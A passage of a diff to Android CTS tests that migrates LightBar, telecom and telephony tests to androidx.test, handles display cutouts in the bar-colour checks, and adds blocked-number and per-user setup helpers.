@@ -26,17 +27,22 @@
 import android.content.pm.PackageManager;
 import android.content.res.Configuration;
 import android.graphics.Bitmap;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
+import android.graphics.Color;
+import android.graphics.Rect;
 import android.util.Log;
-import android.view.KeyEvent;
+import android.view.DisplayCutout;
 import android.view.WindowInsets;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
 import java.io.File;
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.nio.file.FileSystems;
 import java.nio.file.Path;
+import java.util.ArrayList;
+import java.util.Locale;
 
 public class LightBarTestBase {
 
@@ -45,6 +51,10 @@
     public static final Path DUMP_PATH = FileSystems.getDefault()
             .getPath("/sdcard/LightBarTestBase/");
 
+    private static final int COLOR_DIFF_THESHOLDS = 2;
+
+    private ArrayList<Rect> mCutouts;
+
     protected Bitmap takeStatusBarScreenshot(LightBarBaseActivity activity) {
         Bitmap fullBitmap = getInstrumentation().getUiAutomation().takeScreenshot();
         return Bitmap.createBitmap(fullBitmap, 0, 0, activity.getWidth(), activity.getTop());
@@ -144,24 +154,90 @@
         int[] pixels = new int[bitmap.getHeight() * bitmap.getWidth()];
         bitmap.getPixels(pixels, 0, bitmap.getWidth(), 0, 0, bitmap.getWidth(), bitmap.getHeight());
 
+        loadCutout(activity);
         int backgroundColorPixelCount = 0;
+        int shiftY = activity.getBottom();
         for (int i = 0; i < pixels.length; i++) {
-            if (pixels[i] == backgroundColor) {
+            int x = i % bitmap.getWidth();
+            int y = i / bitmap.getWidth();
+
+            if (pixels[i] == backgroundColor
+                    || isInsideCutout(x, shiftY + y)) {
                 backgroundColorPixelCount++;
             }
         }
         assumeNavigationBarChangesColor(backgroundColorPixelCount, pixels.length);
 
+        int diffCount = 0;
         for (int col = 0; col < bitmap.getWidth(); col++) {
-            if (dividerColor != pixels[col]) {
-                dumpBitmap(bitmap, methodName);
-                fail("Invalid color exptected=" + dividerColor + " actual=" + pixels[col]);
+            if (isInsideCutout(col, shiftY)) {
+                continue;
+            }
+
+            if (!isColorSame(dividerColor, pixels[col])) {
+                diffCount++;
             }
         }
+
+        boolean success = false;
+        try {
+            assertLessThan(String.format(Locale.ENGLISH,
+                    "There are invalid color pixels. expected= 0x%08x", dividerColor),
+                    0.3f, (float) diffCount / (float)bitmap.getWidth(),
+                    "Is the divider colored according to android:navigationBarDividerColor "
+                            + " in the theme?");
+            success = true;
+        } finally {
+            if (!success) {
+                dumpBitmap(bitmap, methodName);
+            }
+        }
+    }
+
+    private static boolean isColorSame(int c1, int c2) {
+        return Math.abs(Color.alpha(c1) - Color.alpha(c2)) < COLOR_DIFF_THESHOLDS
+                && Math.abs(Color.red(c1) - Color.red(c2)) < COLOR_DIFF_THESHOLDS
+                && Math.abs(Color.green(c1) - Color.green(c2)) < COLOR_DIFF_THESHOLDS
+                && Math.abs(Color.blue(c1) - Color.blue(c2)) < COLOR_DIFF_THESHOLDS;
     }
 
     protected void assumeNavigationBarChangesColor(int backgroundColorPixelCount, int totalPixel) {
         assumeTrue("Not enough background pixels. The navigation bar may not be able to change "
                 + "color.", backgroundColorPixelCount > 0.3f * totalPixel);
     }
+
+    protected ArrayList loadCutout(LightBarBaseActivity activity) {
+        mCutouts = new ArrayList<>();
+        InstrumentationRegistry.getInstrumentation().runOnMainSync(()-> {
+            WindowInsets windowInsets = activity.getRootWindowInsets();
+            DisplayCutout displayCutout = windowInsets.getDisplayCutout();
+            if (displayCutout != null) {
+                mCutouts.addAll(displayCutout.getBoundingRects());
+            }
+        });
+        return mCutouts;
+    }
+
+    protected boolean isInsideCutout(int x, int y) {
+        for (Rect cutout : mCutouts) {
+            if (cutout.contains(x, y)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    protected void assertMoreThan(String what, float expected, float actual, String hint) {
+        if (!(actual > expected)) {
+            fail(what + ": expected more than " + expected * 100 + "%, but only got " + actual * 100
+                    + "%; " + hint);
+        }
+    }
+
+    protected void assertLessThan(String what, float expected, float actual, String hint) {
+        if (!(actual < expected)) {
+            fail(what + ": expected less than " + expected * 100 + "%, but got " + actual * 100
+                    + "%; " + hint);
+        }
+    }
 }
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
index 724bca0..831c4de 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -16,26 +16,25 @@
 
 package android.systemui.cts;
 
-import static android.support.test.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
-import android.app.ActivityManager;
+import static org.junit.Assert.assertTrue;
+
 import android.app.Notification;
 import android.app.NotificationChannel;
 import android.app.NotificationManager;
 import android.app.UiAutomation;
 import android.content.Context;
-import android.content.pm.PackageManager;
 import android.graphics.Bitmap;
 import android.graphics.Color;
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.InputDevice;
 import android.view.MotionEvent;
 
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.TestName;
@@ -96,7 +95,7 @@
         Thread.sleep(WAIT_TIME);
 
         Bitmap bitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
-        Stats s = evaluateLightBarBitmap(bitmap, Color.RED /* background */);
+        Stats s = evaluateLightBarBitmap(bitmap, Color.RED /* background */, 0);
         assertLightStats(bitmap, s);
 
         mNm.cancelAll();
@@ -116,8 +115,9 @@
         injectCanceledTap(x, y);
         Thread.sleep(WAIT_TIME);
 
-        Bitmap bitmap = takeNavigationBarScreenshot(mActivityRule.getActivity());
-        Stats s = evaluateLightBarBitmap(bitmap, Color.RED /* background */);
+        LightBarActivity activity = mActivityRule.getActivity();
+        Bitmap bitmap = takeNavigationBarScreenshot(activity);
+        Stats s = evaluateLightBarBitmap(bitmap, Color.RED /* background */, activity.getBottom());
         assertLightStats(bitmap, s);
     }
 
@@ -156,16 +156,16 @@
             assumeNavigationBarChangesColor(s.backgroundPixels, s.totalPixels());
 
             assertMoreThan("Not enough pixels colored as in the spec", 0.3f,
-                    (float) s.iconPixels / s.foregroundPixels(),
+                    (float) s.iconPixels / (float) s.foregroundPixels(),
                     "Are the bar icons colored according to the spec "
                             + "(60% black and 24% black)?");
 
             assertLessThan("Too many lighter pixels lighter than the background", 0.05f,
-                    (float) s.sameHueLightPixels / s.foregroundPixels(),
+                    (float) s.sameHueLightPixels / (float) s.foregroundPixels(),
                     "Are the bar icons dark?");
 
             assertLessThan("Too many pixels with a changed hue", 0.05f,
-                    (float) s.unexpectedHuePixels / s.foregroundPixels(),
+                    (float) s.unexpectedHuePixels / (float) s.foregroundPixels(),
                     "Are the bar icons color-free?");
 
             success = true;
@@ -176,20 +176,6 @@
         }
     }
 
-    private void assertMoreThan(String what, float expected, float actual, String hint) {
-        if (!(actual > expected)) {
-            fail(what + ": expected more than " + expected * 100 + "%, but only got " + actual * 100
-                    + "%; " + hint);
-        }
-    }
-
-    private void assertLessThan(String what, float expected, float actual, String hint) {
-        if (!(actual < expected)) {
-            fail(what + ": expected less than " + expected * 100 + "%, but got " + actual * 100
-                    + "%; " + hint);
-        }
-    }
-
     private void requestLightBars(final int background) throws Throwable {
         final LightBarActivity activity = mActivityRule.getActivity();
         activity.runOnUiThread(() -> {
@@ -225,7 +211,7 @@
         }
     }
 
-    private Stats evaluateLightBarBitmap(Bitmap bitmap, int background) {
+    private Stats evaluateLightBarBitmap(Bitmap bitmap, int background, int shiftY) {
         int iconColor = 0x99000000;
         int iconPartialColor = 0x3d000000;
 
@@ -247,8 +233,17 @@
         Stats s = new Stats();
         float eps = 0.005f;
 
+        loadCutout(mActivityRule.getActivity());
         float [] hsvPixel = new float[3];
+        int i = 0;
         for (int c : pixels) {
+            int x = i % bitmap.getWidth();
+            int y = i / bitmap.getWidth();
+            i++;
+            if (isInsideCutout(x, shiftY + y)) {
+                continue;
+            }
+
             if (isColorSame(c, background)) {
                 s.backgroundPixels++;
                 continue;
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
index 207b321..cf659de 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
@@ -16,20 +16,18 @@
 
 package android.systemui.cts;
 
-import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeFalse;
 
 import android.content.Context;
-import android.content.pm.PackageManager;
-import android.graphics.Bitmap;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.support.test.uiautomator.UiDevice;
 import android.view.View;
 
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/telecom/Android.mk b/tests/tests/telecom/Android.mk
index 8f46fd7..a2c74fc 100644
--- a/tests/tests/telecom/Android.mk
+++ b/tests/tests/telecom/Android.mk
@@ -25,9 +25,9 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-	compatibility-device-util \
-	ctstestrunner \
-	android-support-test
+	compatibility-device-util-axt \
+	ctstestrunner-axt \
+	androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index ae62757..fafeb5a 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -26,6 +26,7 @@
     <uses-permission android:name="android.permission.READ_CALL_LOG" />
     <uses-permission android:name="android.permission.REGISTER_CALL_PROVIDER" />
     <uses-permission android:name="android.permission.ACCEPT_HANDOVER" />
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
 
     <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL" />
 
@@ -70,6 +71,15 @@
             </intent-filter>
         </service>
 
+        <service android:name="com.android.compatibility.common.util.BlockedNumberService"
+            android:exported="true"
+            android:singleUser="true" >
+            <intent-filter>
+                <action android:name="android.telecom.cts.InsertBlockedNumber"/>
+                <action android:name="android.telecom.cts.DeleteBlockedNumber"/>
+            </intent-filter>
+        </service>
+
         <receiver android:name="android.telecom.cts.MockMissedCallNotificationReceiver">
             <intent-filter>
                 <action android:name="android.telecom.action.SHOW_MISSED_CALLS_NOTIFICATION" />
@@ -116,7 +126,7 @@
         </activity>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.telecom.cts"
                      android:label="CTS tests for android.telecom package">
         <meta-data android:name="listener"
diff --git a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
index 36db13a..ba8be5e 100755
--- a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
@@ -176,9 +176,11 @@
 
         // GIVEN a managed call
         placeAndVerifyCall();
-        verifyConnectionForOutgoingCall().setActive();
+        Connection outgoing = verifyConnectionForOutgoingCall();
+        outgoing.setActive();
         assertTrue(connectionService.waitForEvent(
                 MockConnectionService.EVENT_CONNECTION_SERVICE_FOCUS_GAINED));
+        assertCallState(mInCallCallbacks.getService().getLastCall(), Call.STATE_ACTIVE);
 
         // WHEN place another call has the same ConnectionService as the existing call
         placeAndVerifyCall();
diff --git a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
index 871f3e4..954112b 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
@@ -17,13 +17,14 @@
 package android.telecom.cts;
 
 import static android.telecom.cts.TestUtils.*;
+import static com.android.compatibility.common.util.BlockedNumberUtil.deleteBlockedNumber;
+import static com.android.compatibility.common.util.BlockedNumberUtil.insertBlockedNumber;
 
 import android.app.UiModeManager;
 import android.content.ContentValues;
 import android.content.Context;
 import android.net.Uri;
 import android.os.Bundle;
-import android.provider.BlockedNumberContract;
 import android.telecom.CallAudioState;
 import android.telecom.Call;
 import android.telecom.Connection;
@@ -393,17 +394,17 @@
             assertNull(mInCallCallbacks.getService());
         } finally {
             if (blockedUri != null) {
-                mContext.getContentResolver().delete(blockedUri, null, null);
+                unblockNumber(blockedUri);
             }
         }
     }
 
     private Uri blockNumber(Uri phoneNumberUri) {
-        ContentValues cv = new ContentValues();
-        cv.put(BlockedNumberContract.BlockedNumbers.COLUMN_ORIGINAL_NUMBER,
-                phoneNumberUri.getSchemeSpecificPart());
-        return mContext.getContentResolver().insert(
-                BlockedNumberContract.BlockedNumbers.CONTENT_URI, cv);
+        return insertBlockedNumber(mContext, phoneNumberUri.getSchemeSpecificPart());
+    }
+
+    private int unblockNumber(Uri uri) {
+        return deleteBlockedNumber(mContext, uri);
     }
 
     public void testAnswerIncomingCallAsVideo_SendsCorrectVideoState() {
diff --git a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
index 3e0d210..fbd427c 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
@@ -28,12 +28,15 @@
 import android.os.Looper;
 import android.os.Parcel;
 import android.os.ParcelFileDescriptor;
+import android.os.Process;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
+import android.os.UserManager;
 import android.telecom.PhoneAccount;
 import android.telecom.PhoneAccountHandle;
 import android.telecom.TelecomManager;
 
+import androidx.test.InstrumentationRegistry;
+
 import junit.framework.TestCase;
 
 import java.io.BufferedReader;
@@ -183,7 +186,6 @@
 
     public static final String MERGE_CALLER_NAME = "calls-merged";
     public static final String SWAP_CALLER_NAME = "calls-swapped";
-    private static final String PRIMARY_USER_SN = "0";
 
     public static boolean shouldTestTelecom(Context context) {
         if (!HAS_TELECOM) {
@@ -210,17 +212,19 @@
     public static void enablePhoneAccount(Instrumentation instrumentation,
             PhoneAccountHandle handle) throws Exception {
         final ComponentName component = handle.getComponentName();
+        final long currentUserSerial = getCurrentUserSerialNumber(instrumentation);
         executeShellCommand(instrumentation, COMMAND_ENABLE
                 + component.getPackageName() + "/" + component.getClassName() + " "
-                + handle.getId() + " " + PRIMARY_USER_SN);
+                + handle.getId() + " " + currentUserSerial);
     }
 
     public static void registerSimPhoneAccount(Instrumentation instrumentation,
             PhoneAccountHandle handle, String label, String address) throws Exception {
         final ComponentName component = handle.getComponentName();
+        final long currentUserSerial = getCurrentUserSerialNumber(instrumentation);
         executeShellCommand(instrumentation, COMMAND_REGISTER_SIM
                 + component.getPackageName() + "/" + component.getClassName() + " "
-                + handle.getId() + " " + PRIMARY_USER_SN + " " + label + " " + address);
+                + handle.getId() + " " + currentUserSerial + " " + label + " " + address);
     }
 
     public static void waitOnAllHandlers(Instrumentation instrumentation) throws Exception {
@@ -510,4 +514,10 @@
             }
         }
     }
+
+    private static long getCurrentUserSerialNumber(Instrumentation instrumentation) {
+        UserManager userManager =
+                instrumentation.getContext().getSystemService(UserManager.class);
+        return userManager.getSerialNumberForUser(Process.myUserHandle());
+    }
 }
diff --git a/tests/tests/telecom2/Android.mk b/tests/tests/telecom2/Android.mk
index 5b22a92..fedfd89 100644
--- a/tests/tests/telecom2/Android.mk
+++ b/tests/tests/telecom2/Android.mk
@@ -25,8 +25,8 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-	compatibility-device-util \
-	ctstestrunner
+	compatibility-device-util-axt \
+	ctstestrunner-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/tests/tests/telecom2/AndroidManifest.xml b/tests/tests/telecom2/AndroidManifest.xml
index 50c6945..00e58eb 100644
--- a/tests/tests/telecom2/AndroidManifest.xml
+++ b/tests/tests/telecom2/AndroidManifest.xml
@@ -73,7 +73,7 @@
         </activity>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.telecom2.cts"
                      android:label="CTS tests for android.telecom package">
         <meta-data android:name="listener"
diff --git a/tests/tests/telecom3/Android.mk b/tests/tests/telecom3/Android.mk
index 3138e6c..7ae12e5 100644
--- a/tests/tests/telecom3/Android.mk
+++ b/tests/tests/telecom3/Android.mk
@@ -24,7 +24,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/tests/tests/telecom3/AndroidManifest.xml b/tests/tests/telecom3/AndroidManifest.xml
index 8207fb7..c606dcb 100644
--- a/tests/tests/telecom3/AndroidManifest.xml
+++ b/tests/tests/telecom3/AndroidManifest.xml
@@ -77,7 +77,7 @@
         </activity>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.telecom3.cts"
                      android:label="CTS tests for android.telecom package">
         <meta-data android:name="listener"
diff --git a/tests/tests/telephony/Android.mk b/tests/tests/telephony/Android.mk
index 6f3d71a..15cc3ab 100644
--- a/tests/tests/telephony/Android.mk
+++ b/tests/tests/telephony/Android.mk
@@ -25,8 +25,8 @@
 LOCAL_JAVA_LIBRARIES := telephony-common
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util \
+    ctstestrunner-axt hamcrest-library \
+    compatibility-device-util-axt \
     truth-prebuilt
 
 LOCAL_HOST_SHARED_LIBRARIES := compatibility-device-telephony-preconditions
diff --git a/tests/tests/telephony/AndroidManifest.xml b/tests/tests/telephony/AndroidManifest.xml
index b6840a3..97d12dd 100644
--- a/tests/tests/telephony/AndroidManifest.xml
+++ b/tests/tests/telephony/AndroidManifest.xml
@@ -30,6 +30,7 @@
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
     <uses-permission android:name="android.permission.BLUETOOTH" />
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
     <uses-permission android:name="android.telephony.embms.cts.permission.TEST_BROADCAST"/>
 
     <permission android:name="android.telephony.embms.cts.permission.TEST_BROADCAST"
@@ -119,6 +120,15 @@
 
         </service>
 
+        <service android:name="com.android.compatibility.common.util.BlockedNumberService"
+                android:exported="true"
+                android:singleUser="true" >
+            <intent-filter>
+                <action android:name="android.telecom.cts.InsertBlockedNumber"/>
+                <action android:name="android.telecom.cts.DeleteBlockedNumber"/>
+            </intent-filter>
+        </service>
+
         <activity android:name="android.telephony.cts.StubDialerActvity">
             <intent-filter>
                 <action android:name="android.intent.action.DIAL"/>
@@ -160,7 +170,7 @@
             android:value="android.telephony.mbms.cts"/>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.telephony.cts"
                      android:label="CTS tests of android.telephony">
         <meta-data android:name="listener"
diff --git a/tests/tests/telephony/preconditions/app/Android.mk b/tests/tests/telephony/preconditions/app/Android.mk
index fb64cd2..2ad1c6c 100644
--- a/tests/tests/telephony/preconditions/app/Android.mk
+++ b/tests/tests/telephony/preconditions/app/Android.mk
@@ -27,8 +27,8 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ctstestrunner \
-                                compatibility-device-util \
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules ctstestrunner-axt \
+                                compatibility-device-util-axt \
                                 compatibility-device-preconditions
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/tests/telephony/preconditions/app/AndroidManifest.xml b/tests/tests/telephony/preconditions/app/AndroidManifest.xml
index 894b510..f84d1ec 100644
--- a/tests/tests/telephony/preconditions/app/AndroidManifest.xml
+++ b/tests/tests/telephony/preconditions/app/AndroidManifest.xml
@@ -22,7 +22,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.telephony.cts.preconditions.app"
                      android:label="Device-side CTS telephony preparation" />
 </manifest>
\ No newline at end of file
diff --git a/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java
index 7323f30..e1854cc 100644
--- a/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -54,13 +54,17 @@
                 mTelephonyManager.getSimState() != TelephonyManager.SIM_STATE_ABSENT;
     }
 
+    private boolean isSimCardAbsent() {
+        return mTelephonyManager.getSimState() == TelephonyManager.SIM_STATE_ABSENT;
+    }
+
     private void checkConfig(PersistableBundle config) {
         if (config == null) {
             assertFalse("Config should only be null when telephony is not running.", hasTelephony());
             return;
         }
         assertNotNull("CarrierConfigManager should not return null config", config);
-        if (!isSimCardPresent()) {
+        if (isSimCardAbsent()) {
             // Static default in CarrierConfigManager will be returned when no sim card present.
             assertEquals("Config doesn't match static default.",
                     config.getBoolean(CarrierConfigManager.KEY_ADDITIONAL_CALL_SETTING_BOOL), true);
diff --git a/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java
index 74f9d13..89814aa 100755
--- a/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java
@@ -16,11 +16,12 @@
 
 package android.telephony.cts;
 
+import static com.android.compatibility.common.util.BlockedNumberUtil.deleteBlockedNumber;
+import static com.android.compatibility.common.util.BlockedNumberUtil.insertBlockedNumber;
 
 import android.app.PendingIntent;
 import android.app.UiAutomation;
 import android.content.BroadcastReceiver;
-import android.content.ContentValues;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
@@ -29,7 +30,6 @@
 import android.os.Bundle;
 import android.os.ParcelFileDescriptor;
 import android.os.SystemClock;
-import android.provider.BlockedNumberContract;
 import android.provider.Telephony;
 import android.telephony.SmsMessage;
 import android.telephony.TelephonyManager;
@@ -118,7 +118,7 @@
     @Override
     protected void tearDown() throws Exception {
         if (mBlockedNumberUri != null) {
-            mContext.getContentResolver().delete(mBlockedNumberUri, null, null);
+            unblockNumber(mBlockedNumberUri);
             mBlockedNumberUri = null;
         }
         if (mTestAppSetAsDefaultSmsApp) {
@@ -398,17 +398,18 @@
         getSmsManager().sendTextMessage(destAddr, null, text, sentIntent, deliveredIntent);
     }
 
-    private void blockNumber(String phoneNumber) {
-        ContentValues cv = new ContentValues();
-        cv.put(BlockedNumberContract.BlockedNumbers.COLUMN_ORIGINAL_NUMBER, phoneNumber);
-        mBlockedNumberUri = mContext.getContentResolver().insert(
-                BlockedNumberContract.BlockedNumbers.CONTENT_URI, cv);
+    private void blockNumber(String number) {
+        mBlockedNumberUri = insertBlockedNumber(mContext, number);
+    }
+
+    private void unblockNumber(Uri uri) {
+        deleteBlockedNumber(mContext, uri);
     }
 
     private void setDefaultSmsApp(boolean setToSmsApp)
             throws Exception {
         String command = String.format(
-                "appops set %s WRITE_SMS %s",
+                "appops set --user 0 %s WRITE_SMS %s",
                 mContext.getPackageName(),
                 setToSmsApp ? "allow" : "default");
         assertTrue("Setting default SMS app failed : " + setToSmsApp,
diff --git a/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
index f544694..6785886 100644
--- a/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -35,12 +35,13 @@
 import android.net.Network;
 import android.net.NetworkCapabilities;
 import android.net.NetworkRequest;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.telephony.SubscriptionInfo;
 import android.telephony.SubscriptionManager;
 import android.telephony.SubscriptionPlan;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.AfterClass;
@@ -64,10 +65,44 @@
     private int mSubId;
     private String mPackageName;
 
+    /**
+     * Callback used in testRegisterNetworkCallback that allows caller to block on
+     * {@code onAvailable}.
+     */
+    private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
+        private final CountDownLatch mAvailableLatch = new CountDownLatch(1);
+
+        public void waitForAvailable() throws InterruptedException {
+            assertTrue("Cellular network did not come up after 5 seconds",
+                    mAvailableLatch.await(5, TimeUnit.SECONDS));
+        }
+
+        @Override
+        public void onAvailable(Network network) {
+            mAvailableLatch.countDown();
+        }
+    }
+
     @BeforeClass
     public static void setUpClass() throws Exception {
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
                 .executeShellCommand("svc wifi disable");
+
+        final TestNetworkCallback callback = new TestNetworkCallback();
+        final ConnectivityManager cm = InstrumentationRegistry.getContext()
+                .getSystemService(ConnectivityManager.class);
+        cm.registerNetworkCallback(new NetworkRequest.Builder()
+                .addTransportType(TRANSPORT_CELLULAR)
+                .addCapability(NET_CAPABILITY_INTERNET)
+                .build(), callback);
+        try {
+            // Wait to get callback for availability of internet
+            callback.waitForAvailable();
+        } catch (InterruptedException e) {
+            fail("NetworkCallback wait was interrupted.");
+        } finally {
+            cm.unregisterNetworkCallback(callback);
+        }
     }
 
     @AfterClass
@@ -84,25 +119,21 @@
     }
 
     /**
-     * Sanity check that both {@link PackageManager#FEATURE_TELEPHONY} and
-     * {@link NetworkCapabilities#TRANSPORT_CELLULAR} network must both be
-     * either defined or undefined; you can't cross the streams.
+     * Sanity check that the device has a cellular network and a valid default data subId
+     * when {@link PackageManager#FEATURE_TELEPHONY} support.
      */
     @Test
     public void testSanity() throws Exception {
+        if (!isSupported()) return;
+
         final boolean hasCellular = findCellularNetwork() != null;
-        if (isSupported() && !hasCellular) {
+        if (!hasCellular) {
             fail("Device claims to support " + PackageManager.FEATURE_TELEPHONY
                     + " but has no active cellular network, which is required for validation");
-        } else if (!isSupported() && hasCellular) {
-            fail("Device has active cellular network, but claims to not support "
-                    + PackageManager.FEATURE_TELEPHONY);
         }
 
-        if (isSupported()) {
-            if (mSubId == SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
-                fail("Device must have a valid default data subId for validation");
-            }
+        if (mSubId == SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
+            fail("Device must have a valid default data subId for validation");
         }
     }
 
diff --git a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
index 9f2139a..0eabad7 100644
--- a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
@@ -32,18 +32,21 @@
 import android.net.wifi.WifiManager;
 import android.os.Build;
 import android.os.Looper;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.telecom.PhoneAccount;
 import android.telecom.PhoneAccountHandle;
 import android.telecom.TelecomManager;
 import android.telephony.CellLocation;
 import android.telephony.PhoneStateListener;
 import android.telephony.ServiceState;
+import android.telephony.SubscriptionInfo;
+import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyManager;
 import android.text.TextUtils;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.TestThread;
 
 import org.junit.After;
@@ -557,10 +560,21 @@
             return;
         }
 
-        for (int i = 0; i < mTelephonyManager.getPhoneCount(); i++) {
-            String meid = mTelephonyManager.getMeid(i);
-            if (!TextUtils.isEmpty(meid)) {
-                assertMeidEsn(meid);
+        SubscriptionManager sm = (SubscriptionManager) getContext()
+                .getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE);
+        List<SubscriptionInfo> subInfos = sm.getActiveSubscriptionInfoList();
+
+        if (subInfos != null) {
+            for (SubscriptionInfo subInfo : subInfos) {
+                int slotIndex = subInfo.getSimSlotIndex();
+                int subId = subInfo.getSubscriptionId();
+                TelephonyManager tm = mTelephonyManager.createForSubscriptionId(subId);
